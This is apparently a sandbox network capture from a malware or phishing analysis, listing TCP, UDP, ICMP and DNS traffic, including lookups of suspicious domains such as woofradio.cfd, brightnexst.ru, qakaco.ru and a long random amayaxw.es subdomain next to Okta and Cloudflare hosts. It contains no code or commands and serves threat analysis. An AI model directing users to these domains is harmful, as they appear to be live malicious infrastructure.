Mar 17, 2025 21:56:12.268747091 CET	49798	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.268760920 CET	443	49798	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.269202948 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.269239902 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.269303083 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.269417048 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.269429922 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.723932981 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.724237919 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.724273920 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.724406958 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.724416971 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.724436045 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.724442005 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.725780010 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.725972891 CET	49799	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.726000071 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.726011038 CET	49799	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.726016998 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.726032019 CET	49799	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.726038933 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.856297970 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.856422901 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.856762886 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.856823921 CET	443	49800	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.856904984 CET	49800	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.856921911 CET	49799	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.856975079 CET	443	49799	35.190.80.1	192.168.2.16
Mar 17, 2025 21:56:12.857029915 CET	49799	443	192.168.2.16	35.190.80.1
Mar 17, 2025 21:56:12.966948986 CET	49734	443	192.168.2.16	151.101.2.137
Mar 17, 2025 21:56:12.967058897 CET	443	49734	151.101.2.137	192.168.2.16
Mar 17, 2025 21:56:12.967147112 CET	49734	443	192.168.2.16	151.101.2.137
Mar 17, 2025 21:56:14.118055105 CET	443	49794	142.250.184.196	192.168.2.16
Mar 17, 2025 21:56:14.118119001 CET	443	49794	142.250.184.196	192.168.2.16
Mar 17, 2025 21:56:14.118197918 CET	49794	443	192.168.2.16	142.250.184.196
Mar 17, 2025 21:56:14.962495089 CET	49794	443	192.168.2.16	142.250.184.196
Mar 17, 2025 21:56:14.962527990 CET	443	49794	142.250.184.196	192.168.2.16
Mar 17, 2025 21:56:22.143826962 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:22.143886089 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:22.144012928 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:22.144256115 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:22.144268990 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:22.596369982 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:22.596724987 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:22.596756935 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:22.596911907 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:22.596919060 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.075824976 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.075948954 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.076056004 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.078152895 CET	49803	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.078172922 CET	443	49803	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.094899893 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.094939947 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.095036983 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.095201969 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.095217943 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.550503016 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.550858021 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.550884962 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.551054955 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.551059961 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.731652975 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.731724024 CET	443	49804	104.21.49.96	192.168.2.16
Mar 17, 2025 21:56:23.731790066 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.732521057 CET	49804	443	192.168.2.16	104.21.49.96
Mar 17, 2025 21:56:23.732542038 CET	443	49804	104.21.49.96	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 21:54:58.746611118 CET	53	57840	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:58.791129112 CET	50169	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:58.791317940 CET	55425	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:58.815850019 CET	53	50169	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:58.838669062 CET	53	59806	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:58.848619938 CET	49803	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:58.848768950 CET	57338	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:58.850322962 CET	53	55425	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:58.859788895 CET	53	49803	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:58.860488892 CET	53	57338	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:59.706269026 CET	50807	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:59.706573009 CET	51318	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:54:59.721972942 CET	53	51318	1.1.1.1	192.168.2.16
Mar 17, 2025 21:54:59.861860037 CET	53	50807	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:00.817538023 CET	53	63730	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.345153093 CET	64640	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.345829964 CET	60855	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.347321033 CET	59648	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.347493887 CET	56773	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.348006010 CET	61043	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.348331928 CET	55177	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:02.352113008 CET	53	64640	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.352541924 CET	53	60855	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.354585886 CET	53	61043	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.354636908 CET	53	56773	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.354648113 CET	53	59648	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:02.355071068 CET	53	55177	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:03.511437893 CET	63774	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:03.511815071 CET	49526	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:03.518205881 CET	53	63774	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:03.518487930 CET	53	49526	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:03.755904913 CET	51278	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:03.756217957 CET	52450	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:03.764106989 CET	53	51278	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:03.766024113 CET	53	52450	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:04.470293045 CET	54277	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:04.470473051 CET	64145	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:04.477965117 CET	53	64145	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:04.478017092 CET	53	54277	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:09.112833023 CET	63850	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:09.112993956 CET	55788	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:09.125428915 CET	53	63850	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:09.126549959 CET	53	55788	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:10.364444971 CET	55086	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:10.364600897 CET	62953	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:10.414793015 CET	53	62953	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:10.419570923 CET	53	55086	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:10.744780064 CET	58232	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:10.745160103 CET	52214	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:10.756602049 CET	53	52214	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:10.799200058 CET	53	58232	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:11.670151949 CET	58644	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:11.670469046 CET	64507	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:11.676757097 CET	53	58644	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:11.677625895 CET	53	64507	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:13.000149965 CET	60383	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:13.000297070 CET	51507	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:13.002804995 CET	51719	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:13.002940893 CET	51341	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:13.007392883 CET	53	60383	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:13.007574081 CET	53	51507	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:13.041338921 CET	53	51341	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:13.070334911 CET	53	51719	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:14.034404039 CET	57278	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:14.034601927 CET	62438	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:14.041008949 CET	53	57278	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:14.041348934 CET	53	62438	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:17.410128117 CET	56235	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:17.410288095 CET	49687	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:17.419023991 CET	53	49687	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:17.434451103 CET	53	56235	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:17.844894886 CET	53	53508	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:18.645373106 CET	53	58891	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:18.789171934 CET	59553	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:18.789377928 CET	59783	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:18.795928955 CET	53	59553	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:18.797045946 CET	53	59783	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:19.421977997 CET	59372	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:19.422163010 CET	64895	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:19.423532009 CET	61008	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:19.423907042 CET	60804	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:19.428750992 CET	53	59372	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:19.429855108 CET	53	64895	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:19.447571039 CET	53	61008	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:19.473191023 CET	53	60804	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:20.493149996 CET	58676	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:20.493335009 CET	60227	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:55:20.503205061 CET	53	58676	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:20.507981062 CET	53	60227	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:36.579200029 CET	53	55896	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:58.680330992 CET	53	49351	1.1.1.1	192.168.2.16
Mar 17, 2025 21:55:59.487215042 CET	53	56917	1.1.1.1	192.168.2.16
Mar 17, 2025 21:56:02.269387007 CET	53	50158	1.1.1.1	192.168.2.16
Mar 17, 2025 21:56:11.677625895 CET	52732	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:56:11.677767992 CET	53711	53	192.168.2.16	1.1.1.1
Mar 17, 2025 21:56:11.684648037 CET	53	53711	1.1.1.1	192.168.2.16
Mar 17, 2025 21:56:11.684662104 CET	53	52732	1.1.1.1	192.168.2.16
Mar 17, 2025 21:56:19.705420971 CET	138	138	192.168.2.16	192.168.2.255
Mar 17, 2025 21:56:29.085764885 CET	53	54056	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 17, 2025 21:54:58.850374937 CET	192.168.2.16	1.1.1.1	c28e	(Port unreachable)	Destination Unreachable
Mar 17, 2025 21:55:19.473270893 CET	192.168.2.16	1.1.1.1	c2b5	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 21:54:58.791129112 CET	192.168.2.16	1.1.1.1	0xcef9	Standard query (0)	xfeoii3kbm.woofradio.cfd	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.791317940 CET	192.168.2.16	1.1.1.1	0xec36	Standard query (0)	xfeoii3kbm.woofradio.cfd	65	IN (0x0001)	false
Mar 17, 2025 21:54:58.848619938 CET	192.168.2.16	1.1.1.1	0x77b5	Standard query (0)	xfeoii3kbm.woofradio.cfd	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.848768950 CET	192.168.2.16	1.1.1.1	0x43dc	Standard query (0)	xfeoii3kbm.woofradio.cfd	65	IN (0x0001)	false
Mar 17, 2025 21:54:59.706269026 CET	192.168.2.16	1.1.1.1	0xccec	Standard query (0)	grupomarina.brightnexst.ru	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:59.706573009 CET	192.168.2.16	1.1.1.1	0xcf3	Standard query (0)	grupomarina.brightnexst.ru	65	IN (0x0001)	false
Mar 17, 2025 21:55:02.345153093 CET	192.168.2.16	1.1.1.1	0x6bf7	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.345829964 CET	192.168.2.16	1.1.1.1	0xecb3	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:02.347321033 CET	192.168.2.16	1.1.1.1	0x46de	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.347493887 CET	192.168.2.16	1.1.1.1	0x88fa	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:02.348006010 CET	192.168.2.16	1.1.1.1	0xe7ef	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.348331928 CET	192.168.2.16	1.1.1.1	0xa7ec	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:03.511437893 CET	192.168.2.16	1.1.1.1	0xe8de	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.511815071 CET	192.168.2.16	1.1.1.1	0x5c59	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:03.755904913 CET	192.168.2.16	1.1.1.1	0x7722	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.756217957 CET	192.168.2.16	1.1.1.1	0xc630	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:04.470293045 CET	192.168.2.16	1.1.1.1	0xae31	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:04.470473051 CET	192.168.2.16	1.1.1.1	0x1ba8	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:09.112833023 CET	192.168.2.16	1.1.1.1	0x98ad	Standard query (0)	xoq7.qakaco.ru	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:09.112993956 CET	192.168.2.16	1.1.1.1	0xba14	Standard query (0)	xoq7.qakaco.ru	65	IN (0x0001)	false
Mar 17, 2025 21:55:10.364444971 CET	192.168.2.16	1.1.1.1	0xbca0	Standard query (0)	xoq7.qakaco.ru	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:10.364600897 CET	192.168.2.16	1.1.1.1	0x8dc3	Standard query (0)	xoq7.qakaco.ru	65	IN (0x0001)	false
Mar 17, 2025 21:55:10.744780064 CET	192.168.2.16	1.1.1.1	0x79ca	Standard query (0)	grupomarina.brightnexst.ru	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:10.745160103 CET	192.168.2.16	1.1.1.1	0x962e	Standard query (0)	grupomarina.brightnexst.ru	65	IN (0x0001)	false
Mar 17, 2025 21:55:11.670151949 CET	192.168.2.16	1.1.1.1	0x4395	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:11.670469046 CET	192.168.2.16	1.1.1.1	0x627a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:13.000149965 CET	192.168.2.16	1.1.1.1	0xb77c	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.000297070 CET	192.168.2.16	1.1.1.1	0xa4a9	Standard query (0)	github.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:13.002804995 CET	192.168.2.16	1.1.1.1	0x5a92	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.002940893 CET	192.168.2.16	1.1.1.1	0xd1a4	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:14.034404039 CET	192.168.2.16	1.1.1.1	0x99e1	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:14.034601927 CET	192.168.2.16	1.1.1.1	0x1227	Standard query (0)	objects.githubusercontent.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:17.410128117 CET	192.168.2.16	1.1.1.1	0xf0fa	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:17.410288095 CET	192.168.2.16	1.1.1.1	0x4a32	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Mar 17, 2025 21:55:18.789171934 CET	192.168.2.16	1.1.1.1	0x8777	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:18.789377928 CET	192.168.2.16	1.1.1.1	0x5bbc	Standard query (0)	get.geojs.io	65	IN (0x0001)	false
Mar 17, 2025 21:55:19.421977997 CET	192.168.2.16	1.1.1.1	0x7b59	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.422163010 CET	192.168.2.16	1.1.1.1	0xb70b	Standard query (0)	get.geojs.io	65	IN (0x0001)	false
Mar 17, 2025 21:55:19.423532009 CET	192.168.2.16	1.1.1.1	0x4775	Standard query (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.423907042 CET	192.168.2.16	1.1.1.1	0xb3a3	Standard query (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	65	IN (0x0001)	false
Mar 17, 2025 21:55:20.493149996 CET	192.168.2.16	1.1.1.1	0x142f	Standard query (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:20.493335009 CET	192.168.2.16	1.1.1.1	0x5228	Standard query (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	65	IN (0x0001)	false
Mar 17, 2025 21:56:11.677625895 CET	192.168.2.16	1.1.1.1	0x9fec	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:56:11.677767992 CET	192.168.2.16	1.1.1.1	0x304	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 21:54:58.815850019 CET	1.1.1.1	192.168.2.16	0xcef9	No error (0)	xfeoii3kbm.woofradio.cfd		172.67.129.81	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.815850019 CET	1.1.1.1	192.168.2.16	0xcef9	No error (0)	xfeoii3kbm.woofradio.cfd		104.21.2.147	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.850322962 CET	1.1.1.1	192.168.2.16	0xec36	No error (0)	xfeoii3kbm.woofradio.cfd			65	IN (0x0001)	false
Mar 17, 2025 21:54:58.859788895 CET	1.1.1.1	192.168.2.16	0x77b5	No error (0)	xfeoii3kbm.woofradio.cfd		104.21.2.147	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.859788895 CET	1.1.1.1	192.168.2.16	0x77b5	No error (0)	xfeoii3kbm.woofradio.cfd		172.67.129.81	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:58.860488892 CET	1.1.1.1	192.168.2.16	0x43dc	No error (0)	xfeoii3kbm.woofradio.cfd			65	IN (0x0001)	false
Mar 17, 2025 21:54:59.721972942 CET	1.1.1.1	192.168.2.16	0xcf3	No error (0)	grupomarina.brightnexst.ru			65	IN (0x0001)	false
Mar 17, 2025 21:54:59.861860037 CET	1.1.1.1	192.168.2.16	0xccec	No error (0)	grupomarina.brightnexst.ru		104.21.41.104	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:54:59.861860037 CET	1.1.1.1	192.168.2.16	0xccec	No error (0)	grupomarina.brightnexst.ru		172.67.146.141	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.352113008 CET	1.1.1.1	192.168.2.16	0x6bf7	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.352113008 CET	1.1.1.1	192.168.2.16	0x6bf7	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.352113008 CET	1.1.1.1	192.168.2.16	0x6bf7	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.352113008 CET	1.1.1.1	192.168.2.16	0x6bf7	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.354585886 CET	1.1.1.1	192.168.2.16	0xe7ef	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.354585886 CET	1.1.1.1	192.168.2.16	0xe7ef	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.354636908 CET	1.1.1.1	192.168.2.16	0x88fa	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 17, 2025 21:55:02.354648113 CET	1.1.1.1	192.168.2.16	0x46de	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.354648113 CET	1.1.1.1	192.168.2.16	0x46de	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:02.355071068 CET	1.1.1.1	192.168.2.16	0xa7ec	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 17, 2025 21:55:03.518205881 CET	1.1.1.1	192.168.2.16	0xe8de	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.518487930 CET	1.1.1.1	192.168.2.16	0x5c59	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 17, 2025 21:55:03.764106989 CET	1.1.1.1	192.168.2.16	0x7722	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.764106989 CET	1.1.1.1	192.168.2.16	0x7722	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.764106989 CET	1.1.1.1	192.168.2.16	0x7722	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.764106989 CET	1.1.1.1	192.168.2.16	0x7722	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.764106989 CET	1.1.1.1	192.168.2.16	0x7722	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:03.766024113 CET	1.1.1.1	192.168.2.16	0xc630	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 17, 2025 21:55:04.477965117 CET	1.1.1.1	192.168.2.16	0x1ba8	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 17, 2025 21:55:04.478017092 CET	1.1.1.1	192.168.2.16	0xae31	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:04.478017092 CET	1.1.1.1	192.168.2.16	0xae31	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:04.478017092 CET	1.1.1.1	192.168.2.16	0xae31	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:04.478017092 CET	1.1.1.1	192.168.2.16	0xae31	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:04.478017092 CET	1.1.1.1	192.168.2.16	0xae31	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:09.125428915 CET	1.1.1.1	192.168.2.16	0x98ad	No error (0)	xoq7.qakaco.ru		172.67.180.46	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:09.125428915 CET	1.1.1.1	192.168.2.16	0x98ad	No error (0)	xoq7.qakaco.ru		104.21.51.122	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:09.126549959 CET	1.1.1.1	192.168.2.16	0xba14	No error (0)	xoq7.qakaco.ru			65	IN (0x0001)	false
Mar 17, 2025 21:55:10.414793015 CET	1.1.1.1	192.168.2.16	0x8dc3	No error (0)	xoq7.qakaco.ru			65	IN (0x0001)	false
Mar 17, 2025 21:55:10.419570923 CET	1.1.1.1	192.168.2.16	0xbca0	No error (0)	xoq7.qakaco.ru		172.67.180.46	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:10.419570923 CET	1.1.1.1	192.168.2.16	0xbca0	No error (0)	xoq7.qakaco.ru		104.21.51.122	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:10.756602049 CET	1.1.1.1	192.168.2.16	0x962e	No error (0)	grupomarina.brightnexst.ru			65	IN (0x0001)	false
Mar 17, 2025 21:55:10.799200058 CET	1.1.1.1	192.168.2.16	0x79ca	No error (0)	grupomarina.brightnexst.ru		104.21.41.104	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:10.799200058 CET	1.1.1.1	192.168.2.16	0x79ca	No error (0)	grupomarina.brightnexst.ru		172.67.146.141	A (IP address)	IN (0x0001)	false
